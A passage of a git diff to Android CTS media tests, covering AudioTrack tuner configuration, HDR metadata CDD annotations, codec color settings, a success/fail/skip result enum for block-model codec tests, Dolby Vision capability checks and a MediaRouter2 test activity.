+            final AudioTrack.TunerConfiguration tunerConfiguration =
+                    new AudioTrack.TunerConfiguration(contentId, syncId);
 
-        assertEquals("contentId must be set", 1, tunerConfiguration.getContentId());
-        assertEquals("syncId must be set", 2, tunerConfiguration.getSyncId());
+            assertEquals("contentId must be set", contentId, tunerConfiguration.getContentId());
+            assertEquals("syncId must be set", syncId, tunerConfiguration.getSyncId());
 
-        // this may fail on creation, not in any setters.
-        try {
-            final AudioTrack track = new AudioTrack.Builder()
-                .setEncapsulationMode(AudioTrack.ENCAPSULATION_MODE_NONE)
-                .setTunerConfiguration(tunerConfiguration)
-                .build();
-            track.release();
-        } catch (UnsupportedOperationException e) {
-            ; // creation failure is OK as TunerConfiguration requires HW support,
-              // however other exception failures are not OK.
+            // this may fail on creation, not in any setters.
+            AudioTrack track = null;
+            try {
+                track = new AudioTrack.Builder()
+                        .setEncapsulationMode(AudioTrack.ENCAPSULATION_MODE_NONE)
+                        .setTunerConfiguration(tunerConfiguration)
+                        .build();
+            } catch (UnsupportedOperationException e) {
+                ; // creation failure is OK as TunerConfiguration requires HW support,
+                // however other exception failures are not OK.
+            } finally {
+                if (track != null) {
+                    track.release();
+                }
+            }
         }
     }
 
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 3c35b88..b0efebe 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -870,6 +870,7 @@
         }
     }
 
+    @CddTest(requirement="5.3.7")
     public void testVp9HdrStaticMetadata() throws Exception {
         final String staticInfo =
                 "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
@@ -878,6 +879,7 @@
                 true /*metadataInContainer*/);
     }
 
+    @CddTest(requirement="5.3.9")
     public void testAV1HdrStaticMetadata() throws Exception {
         final String staticInfo =
                 "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
@@ -886,6 +888,7 @@
                 false /*metadataInContainer*/);
     }
 
+    @CddTest(requirement="5.3.5")
     public void testH265HDR10StaticMetadata() throws Exception {
         // Expected value of MediaFormat.KEY_HDR_STATIC_INFO key.
         // The associated value is a ByteBuffer. This buffer contains the raw contents of the
@@ -900,6 +903,7 @@
                 false /*metadataInContainer*/);
     }
 
+    @CddTest(requirement="5.3.7")
     public void testVp9Hdr10PlusMetadata() throws Exception {
         final String staticInfo =
                 "00 4c 1d b8 0b d0 84 80  3e c0 33 c4 86 12 3d 42" +
@@ -934,6 +938,7 @@
                 staticInfo, dynamicInfo, true /*metadataInContainer*/);
     }
 
+    @CddTest(requirement="5.3.5")
     public void testH265Hdr10PlusMetadata() throws Exception {
         final String staticInfo =
                 "00 4c 1d b8 0b d0 84 80  3e c2 33 c4 86 13 3d 42" +
diff --git a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
index 196f235..5009f58 100755
--- a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
@@ -500,6 +500,12 @@
             format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
             format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
             format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+
+            // Set color parameters
+            format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+            format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
+            format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+
             if (VERBOSE) Log.d(TAG, "format: " + format);
 
             // Create the output surface.
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
index e81b263..a7672f0 100755
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
@@ -226,7 +226,7 @@
             encoderFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
             encoderFormat.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
             encoderFormat.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
-            encoderFormat.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_LINEAR);
+            encoderFormat.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
 
             MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
             String codec = mcl.findEncoderForFormat(encoderFormat);
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
index 36c24ef..66bb0bf 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -79,7 +79,7 @@
     private static final boolean DBG = false;
     private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
 
-    private static final long DEFAULT_WAIT_TIMEOUT_MS = 5000;
+    private static final long DEFAULT_WAIT_TIMEOUT_MS = 10000;
     private static final long DEFAULT_WAIT_TIMEOUT_US = DEFAULT_WAIT_TIMEOUT_MS * 1000;
 
     private static final int COLOR_RED =  makeColor(100, 0, 0);
diff --git a/tests/tests/media/src/android/media/cts/HeifWriterTest.java b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
index 95f1426..7f1c0d6 100644
--- a/tests/tests/media/src/android/media/cts/HeifWriterTest.java
+++ b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
@@ -531,7 +531,7 @@
                 }
             }
 
-            heifWriter.stop(3000);
+            heifWriter.stop(5000);
             // The test sets the primary index to the last image.
             // However, if we're testing early abort, the last image will not be
             // present and the muxer is supposed to set it to 0 by default.
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
index 4f482e1..23333e5 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
@@ -55,9 +55,8 @@
 import java.util.UUID;;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.concurrent.atomic.AtomicReference;
-import java.util.function.BooleanSupplier;
+import java.util.function.Supplier;
 
 /**
  * MediaCodec tests with CONFIGURE_FLAG_USE_BLOCK_MODEL.
@@ -179,13 +178,17 @@
     public void testFormatChange() throws InterruptedException {
         if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         List<FormatChangeEvent> events = new ArrayList<>();
-        runThread(() -> runDecodeShortVideo(
+        Result result = runThread(() -> runDecodeShortVideo(
                 getMediaExtractorForMimeType(INPUT_RESOURCE, "video/"),
                 LAST_BUFFER_TIMESTAMP_US,
                 true /* obtainBlockForEachBuffer */,
                 MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 320, 240),
                 events,
                 null /* sessionId */));
+        if (result == Result.SKIP) {
+            MediaUtils.skipTest("skipped");
+            return;
+        }
         int width = 320;
         int height = 240;
         for (FormatChangeEvent event : events) {
@@ -200,11 +203,17 @@
         assertEquals("Height should have been updated", 360, height);
     }
 
-    private void runThread(BooleanSupplier supplier) throws InterruptedException {
-        final AtomicBoolean completed = new AtomicBoolean(false);
+    private enum Result {
+        SUCCESS,
+        FAIL,
+        SKIP,
+    }
+
+    private Result runThread(Supplier<Result> supplier) throws InterruptedException {
+        final AtomicReference<Result> result = new AtomicReference<>(Result.FAIL);
         Thread thread = new Thread(new Runnable() {
             public void run() {
-                completed.set(supplier.getAsBoolean());
+                result.set(supplier.get());
             }
         });
         final AtomicReference<Throwable> throwable = new AtomicReference<>();
@@ -217,7 +226,8 @@
         if (t != null) {
             throw new AssertionError("There was an error while running the thread", t);
         }
-        assertTrue("timed out decoding to end-of-stream", completed.get());
+        assertTrue("timed out decoding to end-of-stream", result.get() != Result.FAIL);
+        return result.get();
     }
 
     private static class LinearInputBlock {
@@ -452,7 +462,7 @@
         final int index;
     }
 
-    private boolean runDecodeShortVideo(
+    private Result runDecodeShortVideo(
             String inputResource,
             long lastBufferTimestampUs,
             boolean obtainBlockForEachBuffer) {
@@ -495,7 +505,7 @@
         return byteArray;
     }
 
-    private boolean runDecodeShortEncryptedVideo(boolean obtainBlockForEachBuffer) {
+    private Result runDecodeShortEncryptedVideo(boolean obtainBlockForEachBuffer) {
         MediaExtractor extractor = new MediaExtractor();
 
         try (final MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID)) {
@@ -517,7 +527,7 @@
             MediaDrmClearkeyTest.retrieveKeys(
                     drm, "cenc", sessionId, DRM_INIT_DATA, MediaDrm.KEY_TYPE_STREAMING,
                     new byte[][] { CLEAR_KEY_CENC });
-            boolean result = runDecodeShortVideo(
+            Result result = runDecodeShortVideo(
                     extractor, ENCRYPTED_CONTENT_LAST_BUFFER_TIMESTAMP_US,
                     obtainBlockForEachBuffer, null /* format */, null /* events */, sessionId);
             drm.closeSession(sessionId);
@@ -545,7 +555,7 @@
         }
     }
 
-    private boolean runDecodeShortVideo(
+    private Result runDecodeShortVideo(
             MediaExtractor mediaExtractor,
             Long lastBufferTimestampUs,
             boolean obtainBlockForEachBuffer,
@@ -573,7 +583,7 @@
             String[] codecs = MediaUtils.getDecoderNames(true /* isGoog */, mediaFormat);
             if (codecs.length == 0) {
                 Log.i(TAG, "No decoder found for format= " + mediaFormat);
-                return true;
+                return Result.SKIP;
             }
             mediaCodec = MediaCodec.createByCodecName(codecs[0]);
 
@@ -582,7 +592,7 @@
                 crypto.setMediaDrmSession(sessionId);
             }
             List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
-            boolean result = runComponentWithLinearInput(
+            Result result = runComponentWithLinearInput(
                     mediaCodec,
                     crypto,
                     mediaFormat,
@@ -596,7 +606,7 @@
                             .setContentEncrypted(sessionId != null)
                             .build(),
                     new SurfaceOutputSlotListener(outputSurface, timestampList, events));
-            if (result) {
+            if (result == Result.SUCCESS) {
                 assertTrue("Timestamp should match between input / output: " + timestampList,
                         timestampList.isEmpty());
             }
@@ -622,7 +632,7 @@
         }
     }
 
-    private boolean runDecodeShortAudio(
+    private Result runDecodeShortAudio(
             String inputResource,
             long lastBufferTimestampUs,
             boolean obtainBlockForEachBuffer) {
@@ -636,12 +646,12 @@
             String[] codecs = MediaUtils.getDecoderNames(true /* isGoog */, mediaFormat);
             if (codecs.length == 0) {
                 Log.i(TAG, "No decoder found for format= " + mediaFormat);
-                return true;
+                return Result.SKIP;
             }
             mediaCodec = MediaCodec.createByCodecName(codecs[0]);
 
             List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
-            boolean result = runComponentWithLinearInput(
+            Result result = runComponentWithLinearInput(
                     mediaCodec,
                     null,  // crypto
                     mediaFormat,
@@ -654,7 +664,7 @@
                             .setTimestampQueue(timestampList)
                             .build(),
                     new DummyOutputSlotListener(false /* graphic */, timestampList));
-            if (result) {
+            if (result == Result.SUCCESS) {
                 assertTrue("Timestamp should match between input / output: " + timestampList,
                         timestampList.isEmpty());
             }
@@ -674,7 +684,7 @@
         }
     }
 
-    private boolean runEncodeShortAudio() {
+    private Result runEncodeShortAudio() {
         MediaExtractor mediaExtractor = null;
         MediaCodec mediaCodec = null;
         try {
@@ -688,12 +698,12 @@
             String[] codecs = MediaUtils.getEncoderNames(true /* isGoog */, mediaFormat);
             if (codecs.length == 0) {
                 Log.i(TAG, "No encoder found for format= " + mediaFormat);
-                return true;
+                return Result.SKIP;
             }
             mediaCodec = MediaCodec.createByCodecName(codecs[0]);
 
             List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
-            boolean result = runComponentWithLinearInput(
+            Result result = runComponentWithLinearInput(
                     mediaCodec,
                     null,  // crypto
                     mediaFormat,
@@ -705,7 +715,7 @@
                             .setTimestampQueue(timestampList)
                             .build(),
                     new DummyOutputSlotListener(false /* graphic */, timestampList));
-            if (result) {
+            if (result == Result.SUCCESS) {
                 assertTrue("Timestamp should match between input / output: " + timestampList,
                         timestampList.isEmpty());
             }
@@ -725,7 +735,7 @@
         }
     }
 
-    private boolean runEncodeShortVideo() {
+    private Result runEncodeShortVideo() {
         final int kWidth = 176;
         final int kHeight = 144;
         final int kFrameRate = 15;
@@ -744,7 +754,7 @@
             String[] codecs = MediaUtils.getEncoderNames(true /* isGoog */, mediaFormat);
             if (codecs.length == 0) {
                 Log.i(TAG, "No encoder found for format= " + mediaFormat);
-                return true;
+                return Result.SKIP;
             }
             mediaCodec = MediaCodec.createByCodecName(codecs[0]);
 
@@ -757,7 +767,7 @@
                         kWidth, kHeight, HardwareBuffer.YCBCR_420_888, 1 /* layer */, usage)) {
                 Log.i(TAG, "HardwareBuffer doesn't support " + kWidth + "x" + kHeight
                         + "; YCBCR_420_888; usage(" + Long.toHexString(usage) + ")");
-                return true;
+                return Result.SKIP;
             }
 
             List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
@@ -797,7 +807,7 @@
                 try {
                     event = queue.take();
                 } catch (InterruptedException e) {
-                    return false;
+                    return Result.FAIL;
                 }
 
                 if (event.input) {
@@ -865,7 +875,7 @@
                 assertTrue("Timestamp should match between input / output: " + timestampList,
                         timestampList.isEmpty());
             }
-            return eos;
+            return eos ? Result.SUCCESS : Result.FAIL;
         } catch (IOException e) {
             throw new RuntimeException("error reading input resource", e);
         } catch (Exception e) {
@@ -883,7 +893,7 @@
         }
     }
 
-    private boolean runComponentWithLinearInput(
+    private Result runComponentWithLinearInput(
             MediaCodec mediaCodec,
             MediaCrypto crypto,
             MediaFormat mediaFormat,
@@ -941,7 +951,7 @@
             try {
                 event = queue.take();
             } catch (InterruptedException e) {
-                return false;
+                return Result.FAIL;
             }
 
             if (event.input) {
@@ -952,7 +962,7 @@
         }
 
         input.block.recycle();
-        return eos;
+        return eos ? Result.SUCCESS : Result.FAIL;
     }
 
     private MediaExtractor getMediaExtractorForMimeType(final String resource,
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 4027f3d..1176dd8 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -151,8 +151,6 @@
         tested = verifyException(format, false /* isEncoder */) || tested;
 
         // video encoder (H.264/AVC may not be present on some Android devices)
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
         tested = verifyException(format, true /* isEncoder */) || tested;
 
         // signal test is skipped due to no device media codecs.
@@ -191,6 +189,12 @@
 
         final boolean isVideoEncoder = isEncoder && mimeType.startsWith("video/");
 
+        if (isVideoEncoder) {
+            format = new MediaFormat(format);
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+        }
+
         // create codec (enter Initialized State)
         MediaCodec codec;
 
@@ -383,6 +387,11 @@
             // recreate
             codec = createCodecByType(format.getString(MediaFormat.KEY_MIME), isEncoder);
 
+            if (isVideoEncoder) {
+                format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                        MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+            }
+
             // configure improperly
             try {
                 codec.configure(format, null /* surface */, null /* crypto */,
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index e67f6de..48e9810 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -18,7 +18,9 @@
 
 import static org.junit.Assert.assertNotEquals;
 
+import android.content.Context;
 import android.content.res.AssetFileDescriptor;
+import android.hardware.display.DisplayManager;
 import android.icu.util.ULocale;
 import android.media.AudioFormat;
 import android.media.AudioPresentation;
@@ -35,11 +37,15 @@
 import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 import android.util.Log;
+import android.view.Display;
+import android.view.Display.HdrCapabilities;
 import android.webkit.cts.CtsTestServer;
 
+import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.MediaUtils;
 
 import java.io.BufferedReader;
@@ -133,9 +139,7 @@
         }
     }
 
-    public void SKIP_testExtractorFailsIfMediaDataSourceReturnsAnError() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorUnitTest$TestApi
-        // #testIfInvalidDataSourceIsRejectedBySetDataSource
+    public void testExtractorFailsIfMediaDataSourceReturnsAnError() throws Exception {
         TestMediaDataSource dataSource = getDataSourceFor("testvideo.3gp");
         dataSource.returnFromReadAt(-2);
         try {
@@ -164,7 +168,27 @@
         afd.close();
     }
 
+    private boolean advertisesDolbyVision() {
+        // Device advertises support for DV if 1) it has a DV decoder, OR
+        // 2) it lists DV on the Display HDR capabilities.
+        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+            return true;
+        }
+
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+        Display defaultDisplay = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+        HdrCapabilities cap = defaultDisplay.getHdrCapabilities();
+        for (int type : cap.getSupportedHdrTypes()) {
+            if (type == HdrCapabilities.HDR_TYPE_DOLBY_VISION) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     // DolbyVisionMediaExtractor for profile-level (DvheDtr/Fhd30).
+    @CddTest(requirement="5.3.8")
     public void testDolbyVisionMediaExtractorProfileDvheDtr() throws Exception {
         TestMediaDataSource dataSource = setDataSource("video_dovi_1920x1080_30fps_dvhe_04.mp4");
 
@@ -184,7 +208,7 @@
             }
         }
 
-        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+        if (advertisesDolbyVision()) {
             assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
 
             MediaFormat trackFormatForDolbyVision =
@@ -212,11 +236,12 @@
     }
 
     // DolbyVisionMediaExtractor for profile-level (DvheStn/Fhd60).
+    @CddTest(requirement="5.3.8")
     public void SKIP_testDolbyVisionMediaExtractorProfileDvheStn() throws Exception {
         // duplicate of CtsMediaV2TestCases:ExtractorTest$ValidateKeyValuePairs[video/dolby-vision]
         TestMediaDataSource dataSource = setDataSource("video_dovi_1920x1080_60fps_dvhe_05.mp4");
 
-        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+        if (advertisesDolbyVision()) {
             // DvheStn exposes only a single non-backward compatible Dolby Vision HDR track.
             assertEquals("There must be 1 track", 1, mExtractor.getTrackCount());
             final MediaFormat trackFormat = mExtractor.getTrackFormat(0);
@@ -235,6 +260,7 @@
     }
 
     // DolbyVisionMediaExtractor for profile-level (DvheSt/Fhd60).
+    @CddTest(requirement="5.3.8")
     public void testDolbyVisionMediaExtractorProfileDvheSt() throws Exception {
         TestMediaDataSource dataSource = setDataSource("video_dovi_1920x1080_60fps_dvhe_08.mp4");
 
@@ -254,7 +280,7 @@
             }
         }
 
-        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+        if (advertisesDolbyVision()) {
             assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
 
             MediaFormat trackFormatForDolbyVision =
@@ -282,6 +308,7 @@
     }
 
     // DolbyVisionMediaExtractor for profile-level (DvavSe/Fhd60).
+    @CddTest(requirement="5.3.8")
     public void testDolbyVisionMediaExtractorProfileDvavSe() throws Exception {
         TestMediaDataSource dataSource = setDataSource("video_dovi_1920x1080_60fps_dvav_09.mp4");
 
@@ -301,7 +328,7 @@
             }
         }
 
-        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+        if (advertisesDolbyVision()) {
             assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
 
             MediaFormat trackFormatForDolbyVision =
@@ -330,10 +357,11 @@
 
     // DolbyVisionMediaExtractor for profile-level (Dvav1 10.0/Uhd30)
     @SmallTest
+    @CddTest(requirement="5.3.8")
     public void testDolbyVisionMediaExtractorProfileDvav1() throws Exception {
         TestMediaDataSource dataSource = setDataSource("video_dovi_3840x2160_30fps_dav1_10.mp4");
 
-        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+        if (advertisesDolbyVision()) {
             assertEquals(1, mExtractor.getTrackCount());
 
             // Dvav1 10 exposes a single backward compatible track.
@@ -354,6 +382,7 @@
 
     // DolbyVisionMediaExtractor for profile-level (Dvav1 10.1/Uhd30)
     @SmallTest
+    @CddTest(requirement="5.3.8")
     public void testDolbyVisionMediaExtractorProfileDvav1_2() throws Exception {
         TestMediaDataSource dataSource = setDataSource("video_dovi_3840x2160_30fps_dav1_10_2.mp4");
 
@@ -373,7 +402,7 @@
             }
         }
 
-        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+        if (advertisesDolbyVision()) {
             assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
 
             MediaFormat trackFormatForDolbyVision =
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 24a598a..7b25b26d 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -1033,6 +1033,11 @@
     }
 
     public void testGetImageAtIndex() throws Exception {
+        if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+            MediaUtils.skipTest("no video decoders for resource");
+            return;
+        }
+
         testGetImage("heifwriter_input.heic", 1920, 1080, 0 /*rotation*/,
                 4 /*imageCount*/, 3 /*primary*/, true /*useGrid*/, true /*checkColor*/);
     }
diff --git a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
index 271db7d..0a75047 100644
--- a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
@@ -74,6 +74,7 @@
     Context mContext;
     private MediaRouter2 mRouter2;
     private Executor mExecutor;
+    private RouteCallback mRouterDummyCallback = new RouteCallback(){};
     private StubMediaRoute2ProviderService mService;
 
     private static final int TIMEOUT_MS = 5000;
@@ -91,6 +92,16 @@
         mRouter2 = MediaRouter2.getInstance(mContext);
         mExecutor = Executors.newSingleThreadExecutor();
 
+        MediaRouter2TestActivity.startActivity(mContext);
+
+        // In order to make the system bind to the test service,
+        // set a non-empty discovery preference while app is in foreground.
+        List<String> features = new ArrayList<>();
+        features.add("A test feature");
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, false).build();
+        mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
         new PollingCheck(TIMEOUT_MS) {
             @Override
             protected boolean check() {
@@ -107,6 +118,8 @@
 
     @After
     public void tearDown() throws Exception {
+        mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+        MediaRouter2TestActivity.finishActivity();
         if (mService != null) {
             mService.clear();
             mService = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
index 48466d5..07136d6 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
@@ -82,6 +82,7 @@
     private MediaRouter2 mRouter2;
     private Executor mExecutor;
     private AudioManager mAudioManager;
+    private RouteCallback mRouterDummyCallback = new RouteCallback(){};
     private StubMediaRoute2ProviderService mService;
 
     private static final int TIMEOUT_MS = 5000;
@@ -102,6 +103,16 @@
         mExecutor = Executors.newSingleThreadExecutor();
         mAudioManager = (AudioManager) mContext.getSystemService(AUDIO_SERVICE);
 
+        MediaRouter2TestActivity.startActivity(mContext);
+
+        // In order to make the system bind to the test service,
+        // set a non-empty discovery preference while app is in foreground.
+        List<String> features = new ArrayList<>();
+        features.add("A test feature");
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, false).build();
+        mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
         new PollingCheck(TIMEOUT_MS) {
             @Override
             protected boolean check() {
@@ -120,6 +131,8 @@
 
     @After
     public void tearDown() throws Exception {
+        mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+        MediaRouter2TestActivity.finishActivity();
         if (mService != null) {
             mService.clear();
             mService = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
new file mode 100644
index 0000000..e0ba399
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import androidx.test.core.app.ActivityScenario;
+
+public class MediaRouter2TestActivity extends Activity {
+
+    private static ActivityScenario<MediaRouter2TestActivity> sActivityScenario;
+
+    public static ActivityScenario<MediaRouter2TestActivity> startActivity(Context context) {
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClass(context, MediaRouter2TestActivity.class);
+        sActivityScenario = ActivityScenario.launch(intent);
+        return sActivityScenario;
+    }
+
+    public static void finishActivity() {
+        if (sActivityScenario != null) {
+            // TODO: Sometimes calling this takes about 5 seconds. Need to figure out why.
+            sActivityScenario.close();
+            sActivityScenario = null;
+        }
+    }
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setTurnScreenOn(true);
+        setShowWhenLocked(true);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
index 7c3791f..28e27ed 100644
--- a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
+++ b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
@@ -28,6 +28,8 @@
 public class NdkMediaCodec implements MediaCodecWrapper {
 
     private static final String CSD_0 = "csd-0";
+    private static final String CSD_1 = "csd-1";
+    private static final String CSD_2 = "csd-2";
     private long mNdkMediaCodec;
     private final String mName;
 
@@ -63,10 +65,14 @@
             int bitRate,
             int frameRate,
             int iFrameInterval,
-            ByteBuffer csd,
+            ByteBuffer csd0,
+            ByteBuffer csd1,
             int flags,
             int lowLatency,
-            Surface surface);
+            Surface surface,
+            int range,
+            int standard,
+            int transfer);
 
     private static native boolean AMediaCodecQueueInputBuffer(
             long ndkMediaCodec,
@@ -117,13 +123,29 @@
         int frameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE, -1);
         int iFrameInterval = format.getInteger(MediaFormat.KEY_I_FRAME_INTERVAL, -1);
         int lowLatency = format.getInteger(MediaFormat.KEY_LOW_LATENCY, -1);
+        int range = format.getInteger(MediaFormat.KEY_COLOR_RANGE, -1);
+        int standard = format.getInteger(MediaFormat.KEY_COLOR_STANDARD, -1);
+        int transfer = format.getInteger(MediaFormat.KEY_COLOR_TRANSFER, -1);
 
-        ByteBuffer csdBufCopy = null;
+        ByteBuffer csd0BufCopy = null;
         if (format.containsKey(CSD_0)) {
-            ByteBuffer csdBufOld = format.getByteBuffer(CSD_0);
-            csdBufCopy = ByteBuffer.allocateDirect(csdBufOld.remaining());
-            csdBufCopy.put(csdBufOld);
-            csdBufCopy.position(0);
+            ByteBuffer csd0BufOld = format.getByteBuffer(CSD_0);
+            csd0BufCopy = ByteBuffer.allocateDirect(csd0BufOld.remaining());
+            csd0BufCopy.put(csd0BufOld);
+            csd0BufCopy.position(0);
+        }
+
+        ByteBuffer csd1BufCopy = null;
+        if (format.containsKey(CSD_1)) {
+            ByteBuffer csd1BufOld = format.getByteBuffer(CSD_1);
+            csd1BufCopy = ByteBuffer.allocateDirect(csd1BufOld.remaining());
+            csd1BufCopy.put(csd1BufOld);
+            csd1BufCopy.position(0);
+        }
+
+        // fail loudly so the test can be properly extended.
+        if (format.containsKey(CSD_2)) {
+            throw new UnsupportedOperationException("test error: does not handle csd-2");
         }
 
